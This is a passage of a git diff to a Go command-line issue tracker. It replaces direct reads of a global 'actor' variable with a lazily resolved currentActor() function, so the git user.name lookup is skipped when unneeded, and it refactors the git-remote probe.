applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope } } result, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: issueID, Patch: patch, }) @@ -361,7 +361,7 @@ func removeLabelsByPrefix(ctx context.Context, issueIDs []string, prefix string, outcomes := make([]labelEditOutcome, 0, len(targets)) for _, target := range targets { result, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: target.issueID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: target.labels}}, }) @@ -707,7 +707,7 @@ var labelPropagateCmd = &cobra.Command{ commitMsg := fmt.Sprintf("bd: propagate label '%s' from %s to %d children", label, parentID, len(children)) err = transactHonoringAutoCommit(ctx, store, commitMsg, func(tx storage.Transaction) error { for _, child := range children { - if err := tx.AddLabel(ctx, child.ID, label, actor); err != nil { + if err := tx.AddLabel(ctx, child.ID, label, currentActor()); err != nil { return fmt.Errorf("add label '%s' on %s: %w", label, child.ID, err) } } @@ -809,7 +809,7 @@ func runLabelRename(ctx context.Context, args []string, dryRun bool) error { if usesProxiedServer() { renamed, merged, err = runLabelRenameProxiedServer(ctx, oldLabel, newLabel) } else { - renamed, merged, _, err = store.RenameLabel(ctx, oldLabel, newLabel, actor) + renamed, merged, _, err = store.RenameLabel(ctx, oldLabel, newLabel, currentActor()) } // Recorded from renamed>0 BEFORE the error check: a rename can commit its // SQL side and still return a non-nil err (e.g. the Dolt publication step diff --git a/cmd/bd/label_proxied_server.go b/cmd/bd/label_proxied_server.go index 9d5b955a1..0bf9215f0 100644 --- a/cmd/bd/label_proxied_server.go +++ b/cmd/bd/label_proxied_server.go @@ -148,7 +148,7 @@ func runLabelRenameProxiedServer(ctx context.Context, oldLabel, newLabel string) err = uow.RunTx(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { var rerr error - renamed, merged, _, rerr = uw.LabelUseCase().RenameLabel(ctx, oldLabel, newLabel, actor) //nolint:forbidigo // bulk rename; no role serves it, and Patch.Labels would reintroduce the per-issue add/remove event divergence this delegation replaced + renamed, merged, _, rerr = uw.LabelUseCase().RenameLabel(ctx, oldLabel, newLabel, currentActor()) //nolint:forbidigo // bulk rename; no role serves it, and Patch.Labels would reintroduce the per-issue add/remove event divergence this delegation replaced if rerr != nil { return "", fmt.Errorf("rename label '%s' -> '%s': %w", oldLabel, newLabel, rerr) } @@ -209,9 +209,9 @@ func runLabelPropagateProxiedServer(ctx context.Context, args []string) error { for _, child := range children { var e error if child.Ephemeral { - e = uw.LabelUseCase().AddWispLabel(ctx, child.ID, label, actor) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor + e = uw.LabelUseCase().AddWispLabel(ctx, child.ID, label, currentActor()) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor } else { - e = uw.LabelUseCase().AddLabel(ctx, child.ID, label, actor) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor + e = uw.LabelUseCase().AddLabel(ctx, child.ID, label, currentActor()) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor } if e != nil { return "", fmt.Errorf("add label '%s' on %s: %w", label, child.ID, e) diff --git a/cmd/bd/linear.go b/cmd/bd/linear.go index 8e24cb777..f6ba42990 100644 --- a/cmd/bd/linear.go +++ b/cmd/bd/linear.go @@ -338,14 +338,14 @@ func runLinearSync(cmd *cobra.Command, args []string) error { } } - engine := tracker.NewEngine(lt, trackerStore, actor) + engine := tracker.NewEngine(lt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PullHooks = buildLinearPullHooksForStore(ctx, trackerStore, linearPullHookOptions{ Milestones: milestones, DryRun: dryRun, - Actor: actor, + Actor: currentActor(), }) opts := tracker.SyncOptions{ @@ -488,7 +488,7 @@ func buildLinearPullHooksForStore(ctx context.Context, st tracker.Store, opts li hooks := &tracker.PullHooks{} hookActor := opts.Actor if hookActor == "" { - hookActor = actor + hookActor = currentActor() } var generateID func(context.Context, *types.Issue) error diff --git a/cmd/bd/link.go b/cmd/bd/link.go index 772a88d91..a05be924b 100644 --- a/cmd/bd/link.go +++ b/cmd/bd/link.go @@ -77,13 +77,13 @@ Examples: Type: dt, } - if err := fromStore.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{EmitEvent: true}); err != nil { + if err := fromStore.AddDependencyWithOptions(ctx, dep, currentActor(), storage.DependencyAddOptions{EmitEvent: true}); err != nil { return HandleErrorRespectJSON("%v", err) } warnIfCyclesExist(fromStore) - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "link", IssueIDs: []string{fromID, toID}, }); err != nil { diff --git a/cmd/bd/link_proxied_server.go b/cmd/bd/link_proxied_server.go index aa7fac1b9..aef888968 100644 --- a/cmd/bd/link_proxied_server.go +++ b/cmd/bd/link_proxied_server.go @@ -35,7 +35,7 @@ func runLinkProxiedServer(cmd *cobra.Command, ctx context.Context, args []string // Source-routed, like the direct twin's store.AddDependencyWithOptions: // `bd link` takes whatever id the caller names, and a wisp source has no // row in the issues plane for the edge to hang off. - if _, err := uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, actor, domain.BulkAddDepsOpts{}); err != nil { + if _, err := uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, currentActor(), domain.BulkAddDepsOpts{}); err != nil { return "", err } return fmt.Sprintf("bd: link %s %s", id1, id2), nil diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 9fd38b3b9..901d461ee 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -840,6 +840,10 @@ func refreshBoundCommandConfig(cmd *cobra.Command) { readonlyMode = config.GetBool("readonly") } if !root.PersistentFlags().Changed("actor") { + // Raw write, not setActor: every caller runs in PersistentPreRunE + // BEFORE deferActorGitFallback, which then decides from this value + // whether the git user.name fallback is pending. A call after it would + // need setActor (and the deferral re-run) to keep that decision true. actor = resolveConfiguredActor() } if !root.PersistentFlags().Changed("dolt-auto-commit") { @@ -893,11 +897,74 @@ func resolveConfiguredActor() string { return config.GetString("actor") } +// actorGitFallbackPending records that PersistentPreRunE deferred the +// getActorWithGit fallback (git config user.name, then $USER) instead of +// resolving it eagerly. Most invocations — every read-only list/show/query a +// tool like gascity issues by the hundred — never consult the actor, and the +// eager lookup cost one `git config` subprocess per bd call. currentActor +// performs the deferred resolution on first use, so the resolved value and its +// priority order are unchanged; only the moment of the lookup moves. +// +// Guarded by actorMu together with the resolution it triggers. Plain writes to +// actor elsewhere stay unguarded, exactly as before this was introduced. +var ( + actorMu sync.Mutex + actorGitFallbackPending bool +) + +// deferActorGitFallback replaces the former eager `actor = getActorWithGit()` +// in PersistentPreRunE. A non-empty actor (--actor, BEADS_ACTOR, BD_ACTOR or +// config.yaml) is already the answer getActorWithGit would return, so only an +// empty actor needs the deferred fallback. +func deferActorGitFallback() { + actorMu.Lock() + defer actorMu.Unlock() + actorGitFallbackPending = actor == "" +} + +// currentActor returns the actor for this invocation, resolving a fallback +// deferred by deferActorGitFallback on first use. Command code reads the actor +// through this instead of the raw global so that the git lookup happens only +// when an actor is actually needed. +func currentActor() string { + actorMu.Lock() + defer actorMu.Unlock() + resolvePendingActorLocked() + return actor +} + +// resolvePendingActorLocked performs a deferred fallback. Caller holds actorMu. +func resolvePendingActorLocked() { + if !actorGitFallbackPending { + return + } + actorGitFallbackPending = false + deferred := actor + actor = resolveActorWithGit() + // Keep the CommandContext copy in step, as the eager assignment did + // before syncCommandContext copied it. + if cmdCtx != nil && cmdCtx.Actor == deferred { + cmdCtx.Actor = actor + } +} + // getActorWithGit returns the actor for audit trails with git config fallback. // Priority: --actor flag > BEADS_ACTOR env > BD_ACTOR env (deprecated) > git config user.name > $USER > "unknown" // This provides a sensible default for developers: their git identity is used unless -// explicitly overridden +// explicitly overridden. +// +// After PersistentPreRunE it returns the same value as currentActor (resolving +// a deferred fallback once, into the global, as the eager assignment did). func getActorWithGit() string { + actorMu.Lock() + defer actorMu.Unlock() + resolvePendingActorLocked() + return resolveActorWithGit() +} + +// resolveActorWithGit is getActorWithGit's resolution order, without the +// deferred-fallback bookkeeping. Caller holds actorMu or owns the global. +func resolveActorWithGit() string { // If actor is already set (from --actor flag), use it if actor != "" { return actor @@ -1239,6 +1306,10 @@ var rootCmd = &cobra.Command{ WasSet bool }{dbPath, true} } + // Reads and writes the raw global on purpose: this runs before + // deferActorGitFallback, so no fallback is pending yet and the value + // is only the flag/env/config actor. currentActor() here would resolve + // git user.name eagerly, which is what the deferral exists to avoid. if !cmd.Root().PersistentFlags().Changed("actor") && actor == "" { actor = resolveConfiguredActor() } else if cmd.Root().PersistentFlags().Changed("actor") { @@ -1674,11 +1745,14 @@ var rootCmd = &cobra.Command{ return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapReadonly)) } - // Set actor for audit trail - actor = getActorWithGit() - // Attach actor to the command span now that we have it. - if commandSpan != nil { - commandSpan.SetAttributes(attribute.String("bd.actor", actor)) + // Set actor for audit trail. The git config user.name fallback is + // resolved lazily by currentActor, so commands that never consult the + // actor (read-only queries) do not spawn a git subprocess for it. + deferActorGitFallback() + // Attach actor to the command span. Only a recording span (telemetry + // enabled) needs the value, so a noop span does not force the lookup. + if commandSpan != nil && commandSpan.IsRecording() { + commandSpan.SetAttributes(attribute.String("bd.actor", currentActor())) } // Check if this is a read-only command (GH#804) or an explicitly diff --git a/cmd/bd/markdown.go b/cmd/bd/markdown.go index 2c002ad74..b902ad7a4 100644 --- a/cmd/bd/markdown.go +++ b/cmd/bd/markdown.go @@ -425,8 +425,8 @@ func markdownBatchActor(in createInput) string { if in.createdBy != "" { return in.createdBy } - if actor != "" { - return actor + if currentActor() != "" { + return currentActor() } return "bd" } diff --git a/cmd/bd/merge_slot.go b/cmd/bd/merge_slot.go index 927327472..cfd715394 100644 --- a/cmd/bd/merge_slot.go +++ b/cmd/bd/merge_slot.go @@ -126,7 +126,7 @@ func runMergeSlotCreate(cmd *cobra.Command, args []string) error { } }() - issue, err := store.MergeSlotCreate(rootCtx, actor) + issue, err := store.MergeSlotCreate(rootCtx, currentActor()) if err != nil { return HandleErrorRespectJSON("%v", err) } @@ -222,13 +222,13 @@ func runMergeSlotAcquire(cmd *cobra.Command, args []string) error { holder := mergeSlotHolder if holder == "" { - holder = actor + holder = currentActor() } if holder == "" { return HandleError("no holder specified; use --holder or set BEADS_ACTOR env var") } - result, err := store.MergeSlotAcquire(rootCtx, holder, actor, mergeSlotAddWaiter) + result, err := store.MergeSlotAcquire(rootCtx, holder, currentActor(), mergeSlotAddWaiter) if err != nil { return HandleErrorRespectJSON("%v", err) } @@ -305,7 +305,7 @@ func runMergeSlotRelease(cmd *cobra.Command, args []string) error { } }() - if err := store.MergeSlotRelease(rootCtx, mergeSlotHolder, actor); err != nil { + if err := store.MergeSlotRelease(rootCtx, mergeSlotHolder, currentActor()); err != nil { return HandleErrorRespectJSON("%v", err) } diff --git a/cmd/bd/migrate_issues.go b/cmd/bd/migrate_issues.go index 382d7ac3b..192afcaf9 100644 --- a/cmd/bd/migrate_issues.go +++ b/cmd/bd/migrate_issues.go @@ -600,7 +600,7 @@ func executeMigration(ctx context.Context, s storage.DoltStorage, migrationSet [ for _, id := range migrationSet { if err := tx.UpdateIssue(ctx, id, map[string]interface{}{ "source_repo": to, - }, actor); err != nil { + }, currentActor()); err != nil { return fmt.Errorf("failed to update issue %s: %w", id, err) } } diff --git a/cmd/bd/mol_bond.go b/cmd/bd/mol_bond.go index 3ea600de9..4f8a5f2c2 100644 --- a/cmd/bd/mol_bond.go +++ b/cmd/bd/mol_bond.go @@ -148,21 +148,21 @@ func runMolBond(cmd *cobra.Command, args []string) error { var result *BondResult switch { case aIsProto && bIsProto: - result, err = bondProtoProto(ctx, store, issueA, issueB, in.bondType, in.customTitle, actor) + result, err = bondProtoProto(ctx, store, issueA, issueB, in.bondType, in.customTitle, currentActor()) case aIsProto && !bIsProto: if cookedA { - result, err = bondProtoMolWithSubgraph(ctx, store, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolWithSubgraph(ctx, store, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } else { - result, err = bondProtoMol(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMol(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } case !aIsProto && bIsProto: if cookedB { - result, err = bondProtoMolWithSubgraph(ctx, store, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolWithSubgraph(ctx, store, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } else { - result, err = bondMolProto(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondMolProto(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } default: - result, err = bondMolMol(ctx, store, issueA, issueB, in.bondType, actor) + result, err = bondMolMol(ctx, store, issueA, issueB, in.bondType, currentActor()) } if err != nil { return HandleErrorRespectJSON("bonding: %v", err) diff --git a/cmd/bd/mol_burn.go b/cmd/bd/mol_burn.go index 3062ff794..48293d832 100644 --- a/cmd/bd/mol_burn.go +++ b/cmd/bd/mol_burn.go @@ -190,7 +190,7 @@ func burnMultipleMolecules(ctx context.Context, moleculeIDs []string, dryRun, fo // Batch delete all wisps in one call if len(wispIDs) > 0 { - result, err := burnWisps(ctx, store, wispIDs, actor) + result, err := burnWisps(ctx, store, wispIDs, currentActor()) if err != nil { if !jsonOutput { fmt.Fprintf(os.Stderr, "Error burning wisps: %v\n", err) @@ -296,7 +296,7 @@ func burnWispMolecule(ctx context.Context, resolvedID string, dryRun, force bool } } - result, err := burnWisps(ctx, store, wispIDs, actor) + result, err := burnWisps(ctx, store, wispIDs, currentActor()) if err != nil { return HandleErrorRespectJSON("burning wisp: %v", err) } diff --git a/cmd/bd/mol_current.go b/cmd/bd/mol_current.go index f3d92d33f..6769f01ef 100644 --- a/cmd/bd/mol_current.go +++ b/cmd/bd/mol_current.go @@ -73,7 +73,7 @@ Use --limit or --range to view specific steps: agent := forAgent if agent == "" { - agent = actor + agent = currentActor() } if usesProxiedServer() { diff --git a/cmd/bd/mol_progress.go b/cmd/bd/mol_progress.go index ba35c2b61..df77f9359 100644 --- a/cmd/bd/mol_progress.go +++ b/cmd/bd/mol_progress.go @@ -58,7 +58,7 @@ Example: } moleculeID = resolved } else { - moleculeIDs := findInProgressMoleculeIDs(ctx, store, actor) + moleculeIDs := findInProgressMoleculeIDs(ctx, store, currentActor()) if len(moleculeIDs) == 0 { if jsonOutput { return outputJSON([]interface{}{}) diff --git a/cmd/bd/mol_proxied_server.go b/cmd/bd/mol_proxied_server.go index 6136499dc..04f16955e 100644 --- a/cmd/bd/mol_proxied_server.go +++ b/cmd/bd/mol_proxied_server.go @@ -124,7 +124,7 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { spawnResult, err := cloneSubgraphInto(ctx, w, subgraph, CloneOptions{ Vars: vars, Assignee: in.assignee, - Actor: actor, + Actor: currentActor(), Prefix: types.IDPrefixMol, }) if err != nil { @@ -138,7 +138,7 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { return pourProxiedResult{}, "", fmt.Errorf("loading spawned mol: %w", err) } for _, attach := range attachments { - bondResult, err := bondProtoMolAttachInto(ctx, w, attach.subgraph, attach.issue, spawnedMol, in.attachType, vars, "", actor, false, true) + bondResult, err := bondProtoMolAttachInto(ctx, w, attach.subgraph, attach.issue, spawnedMol, in.attachType, vars, "", currentActor(), false, true) if err != nil { return pourProxiedResult{}, "", fmt.Errorf("attaching %s: %w", attach.id, err) } @@ -278,7 +278,7 @@ func runMolProgressProxiedServer(ctx context.Context, args []string) error { } moleculeID = resolved } else { - moleculeIDs := findInProgressMoleculeIDs(ctx, r, actor) + moleculeIDs := findInProgressMoleculeIDs(ctx, r, currentActor()) if len(moleculeIDs) == 0 { if jsonOutput { return outputJSON([]interface{}{}) @@ -426,13 +426,13 @@ func runMolBondProxiedServer(ctx context.Context, in molBondInput) error { var result *BondResult switch { case aIsProto && bIsProto: - result, err = bondProtoProtoInto(ctx, w, issueA, issueB, in.bondType, in.customTitle, actor) + result, err = bondProtoProtoInto(ctx, w, issueA, issueB, in.bondType, in.customTitle, currentActor()) case aIsProto && !bIsProto: - result, err = bondProtoMolAttachInto(ctx, w, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolAttachInto(ctx, w, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) case !aIsProto && bIsProto: - result, err = bondProtoMolAttachInto(ctx, w, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolAttachInto(ctx, w, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) default: - result, err = bondMolMolInto(ctx, w, issueA, issueB, in.bondType, actor) + result, err = bondMolMolInto(ctx, w, issueA, issueB, in.bondType, currentActor()) } if err != nil { return bondTxResult{}, "", fmt.Errorf("bonding: %w", err) @@ -501,7 +501,7 @@ func runMolSquashProxiedServer(ctx context.Context, in molSquashInput) error { return &SquashResult{MoleculeID: moleculeID, SquashedCount: 0}, "", nil } - result, err := squashMoleculeInto(ctx, w, subgraph.Root, wispChildren, in.keepChildren, in.summary, actor) + result, err := squashMoleculeInto(ctx, w, subgraph.Root, wispChildren, in.keepChildren, in.summary, currentActor()) if err != nil { return nil, "", fmt.Errorf("squashing molecule: %w", err) } @@ -638,7 +638,7 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b if len(wispIDs) > 0 { // The wisp half's direct twin is burnWisps -> `transact`. result, err := uow.RunTxResult(explicitCommitPointContext(ctx), uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*BurnResult, string, error) { - r, err := burnWispsInto(ctx, newUOWMolWriter(uw), wispIDs, actor) + r, err := burnWispsInto(ctx, newUOWMolWriter(uw), wispIDs, currentActor()) if err != nil { return nil, "", err } @@ -672,7 +672,7 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b IDs: issueIDs, Cascade: true, UpdateTextReferences: true, - }, actor) + }, currentActor()) if err != nil { return BurnResult{}, "", fmt.Errorf("burning %s: %w", id, err) } diff --git a/cmd/bd/mol_squash.go b/cmd/bd/mol_squash.go index 223e31955..39363cbdd 100644 --- a/cmd/bd/mol_squash.go +++ b/cmd/bd/mol_squash.go @@ -178,7 +178,7 @@ func runMolSquash(cmd *cobra.Command, args []string) error { return nil } - result, err := squashMolecule(ctx, store, subgraph.Root, wispChildren, in.keepChildren, in.summary, actor) + result, err := squashMolecule(ctx, store, subgraph.Root, wispChildren, in.keepChildren, in.summary, currentActor()) if err != nil { return HandleErrorRespectJSON("squashing molecule: %v", err) } diff --git a/cmd/bd/mutate_proxied_server.go b/cmd/bd/mutate_proxied_server.go index 7008e9a41..fa72c238e 100644 --- a/cmd/bd/mutate_proxied_server.go +++ b/cmd/bd/mutate_proxied_server.go @@ -54,15 +54,15 @@ func proxiedUpdateIssueFields(ctx context.Context, id, commitMsg string, updates // bd-98s5c: an unguarded assignee update (bd assign via the proxied // server) must not silently overwrite another actor's live claim. if newAssignee, ok := updates["assignee"].(string); ok { - if err := validateIssueReassignable(id, issue, actor, newAssignee, + if err := validateIssueReassignable(id, issue, currentActor(), newAssignee, uowClaimPoolAliases(ctx, uw), force); err != nil { return err } } if isWisp { - return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, currentActor()) } - return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, currentActor()) }) } @@ -95,7 +95,7 @@ func proxiedAssign(ctx context.Context, id, assignee string, force bool, ifRevis // from the guarded write below instead of this policy refusal — see // ifRevisionAlreadyStale's doc. if !ifRevisionAlreadyStale(current, ifRevision) { - if verr := validateIssueReassignable(id, current, actor, assignee, + if verr := validateIssueReassignable(id, current, currentActor(), assignee, uowClaimPoolAliases(ctx, uw), force); verr != nil { return struct{}{}, verr } @@ -111,7 +111,7 @@ func proxiedAssign(ctx context.Context, id, assignee string, force bool, ifRevis return nil, err } result, err := runCommandUpdateMutation(ctx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: id, patch: issueops.IssuePatch{ Assignee: issueops.Field[string]{Set: true, Value: assignee}, @@ -183,9 +183,9 @@ func runNoteProxiedServer(ctx context.Context, id, noteText string) error { combined += noteText updates := map[string]any{"notes": combined} if isWisp { - return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, currentActor()) } - return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, currentActor()) }) if err != nil { return HandleErrorRespectJSON("note %s: %v", id, err) @@ -245,7 +245,7 @@ func runTagProxiedServer(ctx context.Context, id, label string) error { return HandleErrorRespectJSON("tag %s: %v", id, err) } result, err := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: details.ID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Add: []string{label}}}, }) diff --git a/cmd/bd/note.go b/cmd/bd/note.go index b0c8eeeab..9ee62cb9e 100644 --- a/cmd/bd/note.go +++ b/cmd/bd/note.go @@ -173,10 +173,10 @@ To read notes on an issue, use: bd show `, updates := map[string]interface{}{ issueops.OpAppendNotes: noteText, } - if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, actor); err != nil { + if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, currentActor()); err != nil { return HandleErrorRespectJSON("updating %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "note", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/notion.go b/cmd/bd/notion.go index 664cd31f6..3ec42b336 100644 --- a/cmd/bd/notion.go +++ b/cmd/bd/notion.go @@ -467,7 +467,7 @@ func runNotionSync(cmd *cobra.Command, _ []string) error { return HandleError("initializing Notion tracker: %v", err) } - engine := tracker.NewEngine(nt, store, actor) + engine := tracker.NewEngine(nt, store, currentActor()) engine.PullHooks = buildNotionPullHooks(ctx) unsupportedStats := newNotionUnsupportedPushStats() engine.PushHooks = buildNotionPushHooks(ctx, nt, unsupportedStats) diff --git a/cmd/bd/pour.go b/cmd/bd/pour.go index 91aa946eb..7260365ee 100644 --- a/cmd/bd/pour.go +++ b/cmd/bd/pour.go @@ -198,7 +198,7 @@ func runPour(cmd *cobra.Command, args []string) error { return nil } - result, err := spawnMolecule(ctx, store, subgraph, vars, in.assignee, actor, false, types.IDPrefixMol) + result, err := spawnMolecule(ctx, store, subgraph, vars, in.assignee, currentActor(), false, types.IDPrefixMol) if err != nil { return HandleError("pouring proto: %v", err) } @@ -211,7 +211,7 @@ func runPour(cmd *cobra.Command, args []string) error { } for _, attach := range attachments { - bondResult, err := bondProtoMol(ctx, store, attach.issue, spawnedMol, in.attachType, vars, "", actor, false, true) + bondResult, err := bondProtoMol(ctx, store, attach.issue, spawnedMol, in.attachType, vars, "", currentActor(), false, true) if err != nil { return HandleError("attaching %s: %v", attach.id, err) } diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index adec80396..f314fcb4a 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -17,6 +17,7 @@ import ( "github.com/steveyegge/beads" internalbeads "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/memoryops" ) @@ -303,10 +304,16 @@ func primeWorkspaceDir() string { // failure falls back to a cwd probe instead of propagating — so this no // longer returns an error. If a future caller needs one, reintroduce it then. func primeGitCmd(ctx context.Context, args ...string) *exec.Cmd { + cmd := exec.CommandContext(ctx, "git", args...) + cmd.Dir = primeGitDir() + return cmd +} + +// primeGitDir is the directory primeGitCmd runs git in ("" for the process +// cwd): the -C target, else the cwd repository root from the RepoContext. +func primeGitDir() string { if ws := primeWorkspaceDir(); ws != "" { - cmd := exec.CommandContext(ctx, "git", args...) - cmd.Dir = ws - return cmd + return ws } rc, err := internalbeads.GetRepoContext() if err != nil { @@ -317,9 +324,9 @@ func primeGitCmd(ctx context.Context, args ...string) *exec.Cmd { // workspace, so probe it directly instead of giving up. The SEC-003 // boundary on BEADS_DIR stays enforced by the callers that consume // BEADS_DIR itself; these probes only ask git about its own workspace. - return exec.CommandContext(ctx, "git", args...) + return "" } - return rc.GitCmdCWD(ctx, args...) + return rc.CWDRepoRoot // GitCmdCWD's directory; "" leaves the process cwd } // outputHookJSON wraps content in the SessionStart hook JSON envelope shared @@ -422,8 +429,18 @@ var primeAgentProfile = func() config.AgentProfile { // `git remote` in the workspace succeeds. primeGitCmd supplies that fallback, // which keeps the -C behavior above intact. The SEC-003 boundary on BEADS_DIR // remains enforced elsewhere. +// +// The probe runs on every command in an embedded workspace whose +// backup.enabled is unset (isBackupAutoEnabled), so it is answered from the +// config files when git.HasRemoteInProcess can prove the answer, and by +// `git remote` otherwise. var primeHasGitRemote = func() bool { - cmd := primeGitCmd(context.Background(), "remote") + dir := primeGitDir() + if has, ok := git.HasRemoteInProcess(dir); ok { + return has + } + cmd := exec.CommandContext(context.Background(), "git", "remote") + cmd.Dir = dir out, err := cmd.Output() if err != nil { return false diff --git a/cmd/bd/priority.go b/cmd/bd/priority.go index 481afecec..66a633e71 100644 --- a/cmd/bd/priority.go +++ b/cmd/bd/priority.go @@ -78,10 +78,10 @@ Examples: updates := map[string]interface{}{ "priority": priority, } - if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, actor); err != nil { + if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, currentActor()); err != nil { return HandleErrorRespectJSON("updating %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "priority", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/promote.go b/cmd/bd/promote.go index b1238abbf..44a42eea0 100644 --- a/cmd/bd/promote.go +++ b/cmd/bd/promote.go @@ -97,13 +97,13 @@ Examples: return HandleErrorRespectJSON("%s is not a wisp (already persistent)", fullID) } - if err := store.PromoteFromEphemeral(ctx, fullID, actor); err != nil { + if err := store.PromoteFromEphemeral(ctx, fullID, currentActor()); err != nil { return HandleErrorRespectJSON("promoting %s: %v", fullID, err) } // Add promotion comment (issue is now in permanent table, AddComment routes correctly // via GetIssue fallback) - if err := store.AddComment(ctx, fullID, actor, promotionComment(reason)); err != nil { + if err := store.AddComment(ctx, fullID, currentActor(), promotionComment(reason)); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to add promotion comment to %s: %v\n", fullID, err) } diff --git a/cmd/bd/promote_proxied_server.go b/cmd/bd/promote_proxied_server.go index edadce2d5..38f6fb547 100644 --- a/cmd/bd/promote_proxied_server.go +++ b/cmd/bd/promote_proxied_server.go @@ -62,10 +62,10 @@ func runPromoteProxiedServer(ctx context.Context, id, reason string) error { } err = uow.RunTx(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { - if err := uw.IssueUseCase().PromoteWisp(ctx, fullID, actor); err != nil { + if err := uw.IssueUseCase().PromoteWisp(ctx, fullID, currentActor()); err != nil { return "", err } - if _, err := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, actor, promotionComment(reason)); err != nil { + if _, err := uw.CommentUseCase().AddCommentToIssue(ctx, fullID, currentActor(), promotionComment(reason)); err != nil { return "", fmt.Errorf("adding promotion comment: %w", err) } return fmt.Sprintf("bd: promote %s", fullID), nil diff --git a/cmd/bd/purge.go b/cmd/bd/purge.go index 0337db793..cead0ae98 100644 --- a/cmd/bd/purge.go +++ b/cmd/bd/purge.go @@ -165,7 +165,7 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { } request := issueops.SweepRequest{ - Actor: actor, + Actor: currentActor(), Tier: scope.tier, IDPattern: pattern, ProtectReferenced: scope.protectReferenced, diff --git a/cmd/bd/quick.go b/cmd/bd/quick.go index a0cdbf550..e9ab99c03 100644 --- a/cmd/bd/quick.go +++ b/cmd/bd/quick.go @@ -94,7 +94,7 @@ Example: // The issue and its parent-child edge commit in one transaction; a // failed edge rolls back the create instead of leaving a dep-less // child behind (same contract as bd create). - if err := createIssueWithDeps(ctx, store, issue, actor, createDepEdges{parentID: parentID}); err != nil { + if err := createIssueWithDeps(ctx, store, issue, currentActor(), createDepEdges{parentID: parentID}); err != nil { return HandleError("%v", err) } diff --git a/cmd/bd/quick_proxied_server.go b/cmd/bd/quick_proxied_server.go index 3035863bb..46ab79c62 100644 --- 